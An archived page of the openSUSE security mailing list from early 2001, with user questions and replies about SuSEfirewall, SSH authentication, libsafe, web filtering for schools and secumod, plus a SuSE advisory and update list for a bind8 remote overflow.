January 2001 - openSUSE Security - openSUSE Mailing Lists

SSH Authentication
by Joao Reis 18 Nov '02

18 Nov '02

Hi! I implemented a ssh conection from the outside to my intranet. This ssh requires a username and a password. In terms of security what is more secure: require authentication (username and password) or having the public key of each user that connects to our intranet in the authorized public key lists (in this case there is no need for username and password)? In the second case there is no need of authentication and only the users wich have the public keys in the list are allowed to enter in my intranet. This second solution is a good solution or that brings other security problems ? Thanks. -- Farewell. "Keep your friends close, but your enemies closer." "Do or do not. There is no try" - Yoda João Reis -------------------------------------------------------

2 1

Re: is SuSE going to implement libsafe?
by marc＠suse.de 18 Feb '01

18 Feb '01

Hi, >I have just read an Bell Labs anouncement, that they are going to release >libsafe under GNU licence, and that some major Linux distros are going to >be using it. SuSE was not amongst them, why is that? I think that libsafe would >be a good echnacement against buffer overflow. > >Anouncement is on: >http://www.bell-labs.com/news/2000/april/20/1.html just because something new pops up please be careful with questions like "when will you implement it?" ;-) There are several questions to ask: a) is it STABLE and does it NOT affect the stability of other programs? b) does it bring additional security problems into the system? c) is the security protection effective? Well, of course the SuSE Security Team already reviewed libsafe. Here are the answers: a) unsure. it would have to be tested very intensive. this was not done yet. b) the code might have vulnerabilities, however the protection gained is higher even if a vulnerability would be present c) okay, now the tough part: libsafe is a dynamic library which is set in the environment which checks several dangerous functions, which can be a security problem. Because it is a dynamic library, it is NO protection against local attackers, just against remote attackers on network services. (if an attacker wants to attack a local suid file, he would just reset his library path environment). Next thing: it does not check for all known vulnerabilites. It even doesn't protect against all buffer overflows, It just protects against *some* overflows. those which happen because of insecure use of strcat/strcpy etc. summary: I can not remember a vulnerability in a network service for the last year which this tool would have prevented. Therefore: as long as this tool is not enhanced to also protect open/fopen calls against symlink/hardlink/pipe attacks, several more buffer overflow types, system/exec* function protection etc. it is not useful to use this tool. I would rather propose to use the secumod module which comes with SuSE Linux since 6.3 and maybe the secure-linux kernel patch from www.openwall.com - these two tools enhance your security. (and btw, install seccheck, hardensuse and firewals and use them - then your security is very high) Greets, Marc -- Marc Heuse, SuSE GmbH, Schanzaeckerstr. 10, 90443 Nuernberg E@mail: marc(a)suse.de Function: Security Support & Auditing "lynx -source http://www.suse.de/~marc/marc.pgp | pgp -fka" Key fingerprint = B5 07 B6 4E 9C EF 27 EE 16 D9 70 D4 87 B5 63 6C

5 4

Web Based e-mail servers
by Chosen1 08 Feb '01

08 Feb '01

I am running SuSe 7.0, and I have a couple of questions... 1.) I have been asked by one of my customers to setup a logging function to log all inbound and outbound e-mails that are being sent through their server. What program would be good for this? 2.) I would like to setup a web based e-mail server for my customers so they can get their mail off the web. What is a good program to use and how secure is this? --Brian --Chosen1 Network Operations Administrator (COO) Postmaster and Routing lead Admin of beer.wa.us.ircsol.net /server beer.ircsol.net and Admin of unix.az.us.ircsol.net /server unix.ircsol.net http://www.ircsol.net

6 5

ICMP filter in SuSEfirewall? (again)
by Rick Green 03 Feb '01

03 Feb '01

I posed this questin a few days ago. I got no response, so I've been digging, and maybe I can ask a slightly different question. System: SuSE 6.4 running SuSEfirewall 4.2 Symptom: Output DENY messages when sending mail. I've also sometimes seen these directed at my ISP's DNS servers. When sending mail, I get four repetitions of the following, but the mail goes thru: output DENY ppp0 PROTO=1 my.ip.ad.dr:3 isp.smtp.ip.addr:3 L=108 S=0xC0 I=5893 F=0x0000 T= After reading thru SuSEfirewall, I discovered that the messages disappear when I set FW_ALLOW_FW_TRACEROUTE = "yes" , although my reading of the script looks like they're still being denied by the '# deny all other type 3' rule, which isn't logged. So it's transparent, with the same effect. I tried hacking the script, moving the $DENY port-unreachable $LDC just outside the bracket, and changing it to $ACCEPT port-unreachable $LAC. Now I can turn off FW_ALLOW_FW_TRACEROUTE again. I'm still invisible to traceroute, and sending mail gives me just one message in the log: output ACCEPT ppp0 PROTO=1 64.79.87.98:3 64.79.64.32:3 L=108 S=0xC0 I=26218 F=0x0000 T=255 (#3) The destination address is my ISP's mail relay host. So now my mail is going out without the delay of waiting for four timeouts. But I still have the question of what is going on here? I have not been able to find any documentation of the various parameters displayed with the log message. What port is my ISP's mail host trying to connect to, and why? Is this normal smtp behaviour? Can someone point me to the RFC that defines all the ICMP sub-types? -- Rick Green

7 7

Porn/Xrate-Filter
by Matthias Jaenichen 02 Feb '01

02 Feb '01

Hi, is there any tool to filter pron and other rated sites and/or contents? We want to provide a S.u.S.E-based firewall for a school and think we must at least make it difficult to access any rated content. Reg. Matthias Jänichen

7 7

Re: [suse-security] Porn/Xrate-Filter
by Volker Kuhlmann 02 Feb '01

02 Feb '01

Or what to do with a home networking setup and the kids... > >we use "squid" as proxy with stopword list's. Our list is about 350 line > >long. One approach. The bad news is, they all don't work. It is impossible to automatically do a linguistic analysis and decide which sites are junk. People can get very irate when good discussions about sexuality are blocked! This is just one example. You will find more than your software will ever be able to handle. Filtering by URL doesn't work either. For detecting URLs to blacklist see above. There is commercial software about, but it all sucks. See the example of cyberpatrol: it was proven(!) that they generate their blacklists automatically, badly, and black out a large amount of valid sites as well as missing junk ones. Waste of money. Btw filtering by URL is easily circumvented: use a URL-anomymiser/redirector. There goes that idea. > Problem: how to keep that list updated? Precisely. Forget it. > reffering to that, a teacher I know keeps a very pragmatical and > practical method of doing this: With the help of his pupils. > Checking squid's logfiles, new sites are frequently added to the black > list. *laugh* do the pupils know about their help? :-) > Any other ideas around? None which are practical, except for this, but that isn't going to be easy: > But never forget to solve the problem of pornsite surfing in school at > the roots. An the roots are the pupils, and not the net. Can't fix a social problem with blacklists... My EUR0.02 Volker

2 1

SuSEFirewall slows down connection
by Christian Bohn 01 Feb '01

01 Feb '01

Hi! I encountered the following problem with the SuSEfirewall-skript: First of all, my configuration: I've got a Linux Box (SuSE 6.4) running as a DSL-Router (incl. Masquerading) for an internal Network. The firewall-skript (which Version doesn't really matter, I've tried out several versions, including the newest form Marc's Website) is installed on that Linux-Box. The Problem: HTTP & SSH are working well but when I try to connect to a Internet-Server via FTP, POP(sometimes) or SMTP it takes a long time (ca. 20sec) until data is transferred although the connection itself is established immediately. I do not think that it is a DNS problem, reverse&forward lookups are working well. Although I think that it has nothing to do with masquerading because if I work on the server console, the problem also occurs. If I shut down the firewall, everything is working fine! I hope somebody can help me an that this is not a FAQ ;-) bye Christian Bohn

4 4

Re: [suse-security] Porn/Xrate-Filter
by Daniele Frijia 01 Feb '01

01 Feb '01

I saw, that other people are interested too. So here's the mail I wrote to Matthias. But never forget to solve the problem of pornsite surfing in school at the roots. An the roots are the pupils, and not the net. Try to get a good supervision and everything works fine. I know that most of you are 'just' freaks and so it's naturally that you try to solve this problem on a technical level, buit it has to be solved on a social level. Ok, here's the rest of the mail: On Wed, Jan 31, 2001 at 01:40:35PM +0100, Daniele Frijia wrote: > On Wed, Jan 31, 2001 at 12:36:52PM +0100, Matthias Jaenichen wrote: > > is there any tool to filter pron and other rated sites and/or contents? We > > want to provide a S.u.S.E-based firewall for a school and think we must at > > least make it difficult to access any rated content. > > www.smartfilter.com > But check out: http://ifix.cx/squid/ (german only). > There is a little Script, that gets Porn-Domains from the net. > > If the school is connceted via belwue, the German provider for schools > in BaWue, then you can use their proxy. They installed smartfilter on > it. > > Regards, Daniele

2 1

cryptographic filesystem
by Christian Haufe 31 Jan '01

31 Jan '01

Hi list members, I'd like to setup a cryptographic filesystem using the loopback device in combination with ext2 fs. Which of the crypto codecs supplied by the international kernel patch should I choose to get a secure but still fast fs ? Are there other crypto fs implementations for linux ? Many thanks in advance. Christian

2 1

SuSE Firewall
by Alexander Kühn 31 Jan '01

31 Jan '01

Hi all, I have a little LAN with a SuSE 6.4 Server as gateway, within my LAN I have a NT box with IIS, I want to be able to access the the httpd on the NT box from the internet by specifying some port on my gateway. I have firewals-2.1-5 installed and all clients in my LAN have unlimited access to the internet and to the gateway. I tried configuring the redirection, but seems to me like this only works when the NT box has an public IP, but it has not not, an will never have. So is it possible to do it with the firewall or do I have to fiddle with ipchains ? Thanks & regards, Nagilum. -- ======================================================================== # _ __ _ __ http://home.htwm.de/akuehn/ \n icq://69646724 # # / |/ /__ ____ _(_) /_ ____ _ nagilum(a)chillout.org \n +01776461165 # # / / _ `/ _ `/ / / // / ' \ Amiga (68k/PPC): AOS/NetBSD/Linux # # /_/|_/\_,_/\_, /_/_/\_,_/_/_/_/ Mac (PPC): MacOS9 / Linux / MacOS-X # # /___/ x86: Linux/FreeBSD/OpenBSD/QNX/Win98SE # ========================================================================

4 3

Suse firewal
by ceccs＠keysoft.pt 31 Jan '01

31 Jan '01

Hi. Some problems/features/questions: System: SuSEfirewall v2.6, eth0 to the internet (cable modem), eth1 to internal network (192.168.x.x/24). 1. FW_SERVICE_DHCLIENT= yes fw rule:$IPCHAINS -A input -j "$ACCEPT" -p udp -s 0/0 67 -d 255.255.255.255/32 68 $LAA packets denied from my cable provider: input DENY eth0 PROTO=17 gateway.cable:67 eth0-ip:68 my rule:$IPCHAINS -A input -j "$ACCEPT" -p udp -s 0/0 67 -d 0/0 68 $LAA Is the cable provider sending invalid packets: having my interface ip specified when it should be 255.255.255.255 ? Or should the rule be as I modified? 2. I have dhcpd to the internal network, but not to the internet: FW_SERVICE_DHCPD=no and START_DHCPD=yes If START_DHCPD = yes, dhcp is allowed for BOTH the internal and internet interfaces. There should be a different setting for internal/external dhcpd and START_DHCPD should be ignored. As I have FW_PROTECT_FROM_INTERNAL="no", I removed the test for START_DHCPD 3. Why this rules with ippp0 hard coded ? $IPCHAINS -A forward -j "$DENY" -d 10.0.0.0/8 -i ippp0 $IPCHAINS -A forward -j "$DENY" -d 192.0.0.0/8 -i ippp0 I removed them from from the script, as there is already in place a rule denying packets from the net to 192/8. Carlos ---- Carlos Costa e Silva <ceccs(a)keysoft.pt> Keysoft Lda Lisboa - Portugal

1 0

Help with secumod
by Matthew 31 Jan '01

31 Jan '01

First of all thanks to Mark and MArc for making secumod, looks like a nifty little security module. However, it seems like a powerful little module. Actually, had a few (for me) nasty problems. I was following Marc's secure webserver guide. All was going fine until I installed the secumod module. At first I was able to conitnue administrating, then I noticed weird things happening...First it suddenly closed my ssh session, then pop3 and smtp shutdown. Then actually attached a keyboard and monitor, then tried logging in there. I got a libc data file read error message and then a failure to allocate memory. Login was not possible and ctrl-alt-F10 showed me few "non-essential" service shutting down. I managed to save the day by rescue mode... Anyway, after the docs I am kind of worried about repeating it....What did I do wrong? But I like its features.... With many thanks, Matthew

6 7

Re: [suse-security] SuSEFirewall slows down connection
by Christian Bohn 31 Jan '01

31 Jan '01

Hi! thank you, that's it! Perhaps this one should be added to the FAQ! bye Christian "now surfing fast" Bohn ----- Original Message ----- From: "Christoph Wegener" <cwe(a)bph.ruhr-uni-bochum.de> To: "Christian Bohn" <cbohn(a)uni-mannheim.de> Sent: Wednesday, January 31, 2001 3:06 PM Subject: Re: [suse-security] SuSEFirewall slows down connection > Hallo Christian, > ich würde sagen - Du hast den ident (Port113) gesperrt, dann warten Verbindungen > wie SMTP, Telnet, SSH unter Umständen auf einen TimeOut und der liegt im bereich > von einigen (10) Sekunden... > > Christoph > > Christian Bohn wrote: > > > Hi! > > > > I encountered the following problem with the SuSEfirewall-skript: > > > > First of all, my configuration: > > I've got a Linux Box (SuSE 6.4) running as a DSL-Router (incl. Masquerading) > > for an internal Network. > > The firewall-skript (which Version doesn't really matter, I've tried out > > several versions, including the newest form Marc's Website) is installed on > > that Linux-Box. > > > > The Problem: > > HTTP & SSH are working well but when I try to connect to a Internet-Server > > via FTP, POP(sometimes) or SMTP it takes a long time (ca. 20sec) until data > > is transferred although the connection itself is established immediately. > > I do not think that it is a DNS problem, reverse&forward lookups are working > > well. > > Although I think that it has nothing to do with masquerading because if I > > work on the server console, the problem also occurs. > > If I shut down the firewall, everything is working fine! > > > > I hope somebody can help me an that this is not a FAQ ;-) > > > > bye > > > > Christian Bohn > > > > --------------------------------------------------------------------- > > To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com > > For additional commands, e-mail: suse-security-help(a)suse.com > > -- > Ruhr-Universitaet Bochum > Lehrstuhl für Biophysik > c/o Christoph Wegener > Gebaeude ND 04/Nord > D-44780 Bochum, GERMANY > > Tel: +49(234)32-25754, Fax: +49(234)32-14626 > > mailto://cwe@bph.ruhr-uni-bochum.de > http://www.bph.ruhr-uni-bochum.de > > __ _ > / / (_)__ __ ____ __ > / /__/ / _ \/ // /\ \/ / . . . t h e c h o i c e o f a > /____/_/_//_/\_,_/ /_/\_\ G N U g e n e r a t i o n . . . > >

2 1

Re: [suse-security] Porn/Xrate-Filter
by Matthias Jaenichen 31 Jan '01

31 Jan '01

At 12:44 31.01.01 +0100, Carsten_Ellermann(a)sskbo.de wrote: >Hi, > > >is there any tool to filter pron and other rated sites and/or contents? We > >want to provide a S.u.S.E-based firewall for a school and think we must at > >least make it difficult to access any rated content. > >we use "squid" as proxy with stopword list's. Our list is about 350 line >long. Yes, that is one solution. could you send your stopword list to my private e-mail? Problem: how to keep that list updated? Any other ideas around? Reg. Matthias Jänichen

4 3

Re: [suse-security] SuSEFirewall slows down connection
by Christian Bohn 31 Jan '01

31 Jan '01

Hi! no, thats not the problem, icmp echo replys are allowed and I can ping myself from another host in the internet. bye CB ----- Original Message ----- From: "Alexander Bien" <abien(a)gmx.net> To: "Christian Bohn" <cbohn(a)uni-mannheim.de> Sent: Wednesday, January 31, 2001 3:10 PM Subject: RE: [suse-security] SuSEFirewall slows down connection > > Are u sure u allow icmp echo replys? > So the other host can ping you ? > Check that please.. then try again .. and maybe it will work faster this > time. > > Many hosts (specilly smtp servers) first ping the other host to see if its > still alive.. > > > -- > > Mit freundlichen Grüßen > > Alexander Bien > > -- > PIRONET NDH > Alexander Bien - Technical Assistant - SBU Services > Josef-Lammerting-Allee 14-18, 50933 Cologne - Germany > Tel.: +49 (0)172 7760569 - Fax: +49 (0)221 770 2815 > mailto:abien@pironet.com - http://www.pironet.com > > > > -----Original Message----- > > From: Christian Bohn [mailto:cbohn@uni-mannheim.de] > > Sent: Wednesday, January 31, 2001 3:04 PM > > To: suse-security(a)suse.de > > Subject: [suse-security] SuSEFirewall slows down connection > > > > > > Hi! > > > > I encountered the following problem with the SuSEfirewall-skript: > > > > First of all, my configuration: > > I've got a Linux Box (SuSE 6.4) running as a DSL-Router (incl. > > Masquerading) > > for an internal Network. > > The firewall-skript (which Version doesn't really matter, I've tried out > > several versions, including the newest form Marc's Website) is > > installed on > > that Linux-Box. > > > > The Problem: > > HTTP & SSH are working well but when I try to connect to a Internet-Server > > via FTP, POP(sometimes) or SMTP it takes a long time (ca. 20sec) > > until data > > is transferred although the connection itself is established immediately. > > I do not think that it is a DNS problem, reverse&forward lookups > > are working > > well. > > Although I think that it has nothing to do with masquerading because if I > > work on the server console, the problem also occurs. > > If I shut down the firewall, everything is working fine! > > > > > > I hope somebody can help me an that this is not a FAQ ;-) > > > > bye > > > > Christian Bohn > > > > > > > > > > > > > > > > > > --------------------------------------------------------------------- > > To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com > > For additional commands, e-mail: suse-security-help(a)suse.com > > >

1 0

AW: [suse-security] Porn/Xrate-Filter
by Thomas Lamy 31 Jan '01

31 Jan '01

You should give squidguard (http://www.squidguard.org/) a try. It comes with SuSE Professional since 7.0. They also maintain certain blacklists which can be easily updated via internet. Regards Thomas Lamy > -----Ursprüngliche Nachricht----- > Von: Matthias Jaenichen [mailto:mj@percomp.de] > Gesendet: Mittwoch, 31. Januar 2001 12:37 > An: suse-security(a)suse.de > Betreff: [suse-security] Porn/Xrate-Filter > > > Hi, > > is there any tool to filter pron and other rated sites and/or > contents? We > want to provide a S.u.S.E-based firewall for a school and > think we must at > least make it difficult to access any rated content. > > Reg. > > Matthias Jänichen > > > --------------------------------------------------------------------- > To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com > For additional commands, e-mail: suse-security-help(a)suse.com > >

1 0

bind8
by Hans Vokal 31 Jan '01

31 Jan '01

> Hi, > > just a short heads-up: The bind8 packages for the distributions 6.1-7.1 > are being built as I write this email. The packages should be available > two or three hours. > > Roman. Hi Will there be an updated Version for SuSE 6.0 as well? Or some hints, how i get it to work securly? thanks in advance Marco __________________________________________________________________ Do You Yahoo!? Gesendet von Yahoo! Mail - http://mail.yahoo.de Yahoo! Mail auf Ihrem Handy? - http://mobil.yahoo.de

6 10

(cross-posted) [SLE] my apsfilter environment messed up
by dproc 31 Jan '01

31 Jan '01

I am cross-posting this as printing broke around the time I first ran harden_suse. I can't see permissions or ownerships the harden script could have done which hurt apsfilter (maybe something in /etc/passwd ??), but perhaps wiser minds can direct me towards my error. ("rpm --verify" doesn't suggest anything wrong either) dproc ----------- I can't print anything, because my apsfilter script (Version: S.u.S.E.-1.6) starts choking as soon as it starts. It reports a stream of errors as soon as it is called by the lpd. The first error in its log is always head: command not found (This is the first time a binary is called by the bash script /var/lib/apsfilter .) Errors continue until the filter hands an error code back to lpd without printing anything. Any clues? dproc

2 1

SuSE Security Announcement: bind8 (SuSE-SA:2001:03)
by Roman Drahtmueller 31 Jan '01

31 Jan '01

-----BEGIN PGP SIGNED MESSAGE----- ______________________________________________________________________________ SuSE Security Announcement Package: bind8 Announcement-ID: SuSE-SA:2001:03 Date: Tuesday, January 30th, 2000 23:40 MEST Affected SuSE versions: 6.0, 6.1, 6.2, 6.3, 6.4, 7.0, 7.1 Vulnerability Type: remote root compromise Severity (1-10): 9 SuSE default package: no Other affected systems: all systems using bind, versions before 8.2.3-REL Content of this advisory: 1) security vulnerability resolved: bind8 problem description, discussion, solution and upgrade information 2) pending vulnerabilities, solutions, workarounds 3) standard appendix (further information) ______________________________________________________________________________ 1) problem description, brief discussion, solution, upgrade information bind-8.x in all versions of the SuSE distributions contain a bug in the transaction signature handling code that can allow to remotely over- flow a buffer and thereby execute arbitrary code as the user running the nameserver (this is user named by default on SuSE systems). In addition to this bug, another problem allows for a remote attacker to collect information about the running bind process (this has been found by Claudio Musmarra <a9605121(a)unet.univie.ac.at>). For more information on these bugs, please visit the CERT webpage at http://www.cert.org/advisories/CA-2001-02.html and the bind bugs webpage at http://www.isc.org/products/BIND/bind-security.html . The problem is existent in the upcoming SuSE distribution 7.1 that will be available by February 10th in the CD/DVD version. There exists no reasonable method to circumvent the problems other than to update the package as described below. Please choose the update package for your distribution from the URLs listed below and download the necessary rpm files. Then, install the package using the command `rpm -Uhv file.rpm´. rpm packages have an internal md5 checksum that protects against file corruption. You can verify this checksum using the command (independently from the md5 signatures below) `rpm --checksig --nogpg file.rpm', The md5 sums under each package are to prove the package authenticity, independently from the md5 checksums in the rpm package format. SPECIAL INSTALL INSTRUCTIONS: ============================== If you run a bind8 nameserver on your system, please update the package immediately. In order for the updated package to become active, the nameserver process "named" needs to be restarted. Do this using the command `rcnamed restart´ as root after performing the rpm command as shown above. Afterwards, check for the running daemon using the ps command as `ps aux´. The named process should show a new starting time. Repeat the `rcnamed restart´ command if the nameserver shut down too slowly to release the socket for the new server. i386 Intel Platform: SuSE-7.1 ftp://ftp.suse.com/pub/suse/i386/update/7.1/n2/bind8-8.2.3-92.i386.rpm e9b354dbd96f6216b9da01f2b3a0a166 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/7.1/zq1/bind8-8.2.3-92.src.rpm f77200a6c476b58980f68b5db3fd7c4b SuSE-7.0 ftp://ftp.suse.com/pub/suse/i386/update/7.0/n1/bind8-8.2.3-61.i386.rpm 4fdee7483fce85f2a31a1a53d2b01b76 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/7.0/zq1/bind8-8.2.3-61.src.rpm e53896d1ddfb405774a492469621af02 SuSE-6.4 ftp://ftp.suse.com/pub/suse/i386/update/6.4/n1/bind8-8.2.3-0.i386.rpm bb25cb6ba2e54bf929f61c14b3663b3e source rpm: ftp://ftp.suse.com/pub/suse/i386/update/6.4/zq1/bind8-8.2.3-0.src.rpm 1033f0df4b747f1d2758fdae69a5fa17 SuSE-6.3 ftp://ftp.suse.com/pub/suse/i386/update/6.3/n1/bind8-8.2.3-0.i386.rpm 73fe798d4afb87beecb2546ecf076f64 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/6.3/zq1/bind8-8.2.3-0.src.rpm dfe4e452d8d0a0a8ff0994e514353b3f SuSE-6.2 ftp://ftp.suse.com/pub/suse/i386/update/6.2/n1/bind8-8.2.3-0.i386.rpm 48b45d14724e852810de130864ab8281 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/6.2/zq1/bind8-8.2.3-0.src.rpm 22ca23ed06739effc887370bfef2d83e SuSE-6.1 ftp://ftp.suse.com/pub/suse/i386/update/6.1/n1/bind8-8.2.3-0.i386.rpm fc9cd0970c15246599f90ce1f5955f29 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/6.1/zq1/bind8-8.2.3-0.src.rpm 6cdf2e5c3a9a25ca98f8916de677cb70 SuSE-6.0 Please use the SuSE-6.1 packages for the SuSE-6.0 distribution on the i386 Intel Platform. AXP Alpha Platform: SuSE-7.0 ftp://ftp.suse.com/pub/suse/axp/update/7.0/n1/bind8-8.2.3-39.alpha.rpm 84014e0f19e52a09b90897e18d8eb774 source rpm: ftp://ftp.suse.com/pub/suse/axp/update/7.0/zq1/bind8-8.2.3-39.src.rpm 99df556319e0c232d78cdb69d5d28ac0 SuSE-6.4 ftp://ftp.suse.com/pub/suse/axp/update/6.4/n1/bind8-8.2.3-0.alpha.rpm 2e2a8f6c3c6838a7fd49bd7926fc3de3 source rpm: ftp://ftp.suse.com/pub/suse/axp/update/6.4/zq1/bind8-8.2.3-0.src.rpm 9b0c2e8469f597f43010a125af8f54fe SuSE-6.3 ftp://ftp.suse.com/pub/suse/axp/update/6.3/n1/bind8-8.2.3-0.alpha.rpm 0194fc4461ef902c46b75f28fa8f2ef6 source rpm: ftp://ftp.suse.com/pub/suse/axp/update/6.3/zq1/bind8-8.2.3-0.src.rpm dffa2d911f6dae9092301bd8ad4f026f SuSE-6.1 ftp://ftp.suse.com/pub/suse/axp/update/6.1/n1/bind8-8.2.3-0.alpha.rpm ebd233233829eef3d73db7d0a828c35a source rpm: ftp://ftp.suse.com/pub/suse/axp/update/6.1/zq1/bind8-8.2.3-0.src.rpm 582e7985719d3f7da86a77349aa1611d PPC Power PC Platform: SuSE-7.0 ftp://ftp.suse.com/pub/suse/ppc/update/7.0/n1/bind8-8.2.3-39.ppc.rpm b9354106b0b89edf8f1883b2ea50e656 source rpm: ftp://ftp.suse.com/pub/suse/ppc/update/7.0/zq1/bind8-8.2.3-39.src.rpm 534d84e900c6edf3fa8f2ef546d08c0a SuSE-6.4 ftp://ftp.suse.com/pub/suse/ppc/update/6.4/n1/bind8-8.2.3-0.ppc.rpm 5c3a00ebd3ddb0388e460673bfec88d0 source rpm: ftp://ftp.suse.com/pub/suse/ppc/update/6.4/zq1/bind8-8.2.3-0.src.rpm 418ae09b44885199f4a4403748b6ab2b Sparc Platform: Due to build bottlenecks, the update package for the sparc platform (SuSE-7.0 distribution) is delayed. ______________________________________________________________________________ 2) Pending vulnerabilities in SuSE Distributions and Workarounds: SuSE distributions contain the bind nameserver in Version 4 as well. bind-4.x in the currently used version has security-related bugs, some of which are similar to the ones in the 8.x versions. We will provide update packages as well as an announcement for the bind (not bind8) package shortly, along with an own announcement. ______________________________________________________________________________ 3) standard appendix: SuSE runs two security mailing lists to which any interested party may subscribe: suse-security(a)suse.com - general/linux/SuSE security discussion. All SuSE security announcements are sent to this list. To subscribe, send an email to <suse-security-subscribe(a)suse.com>. suse-security-announce(a)suse.com - SuSE's announce-only mailing list. Only SuSE's security annoucements are sent to this list. To subscribe, send an email to <suse-security-announce-subscribe(a)suse.com>. For general information or the frequently asked questions (faq) send mail to: <suse-security-info(a)suse.com> or <suse-security-faq(a)suse.com> respectively. =============================================== SuSE's security contact is <security(a)suse.com>. =============================================== Regards, Roman Drahtmüller. - - -- - - | Roman Drahtmüller <draht(a)suse.de> // "Caution: Cape does | SuSE GmbH - Security Phone: // not enable user to fly." | Nürnberg, Germany +49-911-740530 // (Batman Costume warning label) | - - ______________________________________________________________________________ The information in this advisory may be distributed or reproduced, provided that the advisory is not modified in any way. SuSE GmbH makes no warranties of any kind whatsoever with respect to the information contained in this security advisory. Type Bits/KeyID Date User ID pub 2048/3D25D3D9 1999/03/06 SuSE Security Team <security(a)suse.de> - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3i mQENAzbhLQQAAAEIAKAkXHe0lWRBXLpn38hMHy03F0I4Sszmoc8aaKJrhfhyMlOA BqvklPLE2f9UrI4Xc860gH79ZREwAgPt0pi6+SleNFLNcNFAuuHMLQOOsaMFatbz JR9i4m/lf6q929YROu5zB48rBAlcfTm+IBbijaEdnqpwGib45wE/Cfy6FAttBHQh 1Kp+r/jPbf1mYAvljUfHKuvbg8t2EIQz/5yGp+n5trn9pElfQO2cRBq8LFpf1l+U P7EKjFmlOq+Gs/fF98/dP3DfniSd78LQPq5vp8RL8nr/o2i7jkAQ33m4f1wOBWd+ cZovrKXYlXiR+Bf7m2hpZo+/sAzhd7LmAD0l09kABRG0JVN1U0UgU2VjdXJpdHkg VGVhbSA8c2VjdXJpdHlAc3VzZS5kZT6JARUDBRA24S1H5Fiyh7HKPEUBAVcOB/9b yHYji1/+4Xc2GhvXK0FSJN0MGgeXgW47yxDL7gmR4mNgjlIOUHZj0PEpVjWepOJ7 tQS3L9oP6cpj1Fj/XxuLbkp5VCQ61hpt54coQAvYrnT9rtWEGN+xmwejT1WmYmDJ xG+EGBXKr+XP69oIUl1E2JO3rXeklulgjqRKos4cdXKgyjWZ7CP9V9daRXDtje63 Om8gwSdU/nCvhdRIWp/Vwbf7Ia8iZr9OJ5YuQl0DBG4qmGDDrvImgPAFkYFzwlqo choXFQ9y0YVCV41DnR+GYhwl2qBd81T8aXhihEGPIgaw3g8gd8B5o6mPVgl+nJqI BkEYGBusiag2pS6qwznZiQEVAwUQNuEtBHey5gA9JdPZAQFtOAf+KVh939b0J94u v/kpg4xs1LthlhquhbHcKNoVTNspugiC3qMPyvSX4XcBr2PC0cVkS4Z9PY9iCfT+ x9WM96g39dAF+le2CCx7XISk9XXJ4ApEy5g4AuK7NYgAJd39PPbERgWnxjxir9g0 Ix30dS30bW39D+3NPU5Ho9TD/B7UDFvYT5AWHl3MGwo3a1RhTs6sfgL7yQ3U+mvq MkTExZb5mfN1FeaYKMopoI4VpzNVeGxQWIz67VjJHVyUlF20ekOz4kWVgsxkc8G2 saqZd6yv2EwqYTi8BDAduweP33KrQc4KDDommQNDOXxaKOeCoESIdM4p7Esdjq1o L0oixF12Cg== =pIeS - -----END PGP PUBLIC KEY BLOCK----- -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQEVAwUBOndmjXey5gA9JdPZAQGwCwf/U0uWMe9nA8sQmu9C2scFsK5MYpNT0rgu uEUnChBznoc7FzeeWt2I1sube0DiVx5qcZDY4M7u0/BK4VJCacZIHFgWpye1GseP RU8bKhsUiujoplyiWb0Fm39AoKa5HGvAAdRFDNuMC7vt8FtKZic6JGm76MOlqVoD a0hXd6E0Jr55juGxZ5eQqpKWPAR+EjUjEE+R79LQMG8K5FWKHqfwgO2tMNUASaj9 VDkdSTkZS2DX8JIoII6s4g9ksYS0gJds1zivfFdj0fVYcHzwPEvn/ZUv/Mukf2/b MMDFIaTSGM/G751wRD7sYUhcJ5hxJ8qulsdMvLO8nBorh7IjMZSJrw== =zKPn -----END PGP SIGNATURE-----

1 0

Re: [suse-security] CERT Advisory CA-2001-02 Multiple Vulnerabilities in BIND (fwd)
by Volker Kuhlmann 31 Jan '01

31 Jan '01

> use bind 9 with --disable-threads. Design decisions of the ext2 > filesystem prohibit the use of Linux on systems that need some level > of integrity. Hm. Could you elaborate please? > Some time ago a couple of lawyers I would call friends put together > a 200 page document about the BSD vs. GPL vs. DJB licences, > probably I could dig it out. Yes please!! Volker

2 1

Re: [suse-security] SuSE Firewall
by jan.meyer 30 Jan '01

30 Jan '01

> What you need to do is "reverse" Masquerading. This can be accomplished > with the IPMASQADM tool included on your SuSE CD. Two questions: Do I have to patch my 2.2.17 (not SuSE)Kernel to get IPMASQADM to work ? Does it work with the SuSE Kernel ? thanks... jan meyer

3 2

Re: [suse-security] CERT Advisory CA-2001-02 Multiple Vulnerabilities in BIND (fwd)
by Nix 30 Jan '01

30 Jan '01

No. AFAIK (I'm sure someone will correct me if I'm wrong) djbdns does the same thing as bind in that it will hand you an ip that is on the same subnet as one of it's interfaces if that's the interface the request came in on. Neither djbdns or BIND can possibly do BGP based handout of IP's because it requires special code running on each of your servers in the BGP mesh.. NOT just on the DNS server. That's why I said dents ALONG WITH supersparrow!!!! -Nix At 05:45 AM 31/01/2001, you wrote: >You mean like "pickdns is a load-balancing DNS server." and >"pickdns can return results that depend on the location of the >client." functionality? > > > BIND (or DJBDNS) does not have the flexibility to do this sort > > of thing. > >Sorry, the above citation is from the dnscache doc as of half a >year ago (dnscache is the former name of djbdns) ... --- Nix - nix(a)susesecurity.com http://www.susesecurity.com

1 0

CERT Advisory CA-2001-02 Multiple Vulnerabilities in BIND (fwd)
by Stefan Suurmeijer 30 Jan '01

30 Jan '01

Hi all, I haven't seen this on SuSE yet, so I thought I'd forward it. It seems almost every nameserver we have running is vulnerable. See: http://www.cert.org/advisories/CA-2001-02.html have fun upgrading :-( Stefan

11 14

Re: [suse-security] CERT Advisory CA-2001-02 Multiple Vulnerabilities in BIND (fwd)
by Kurt Seifried 30 Jan '01

30 Jan '01

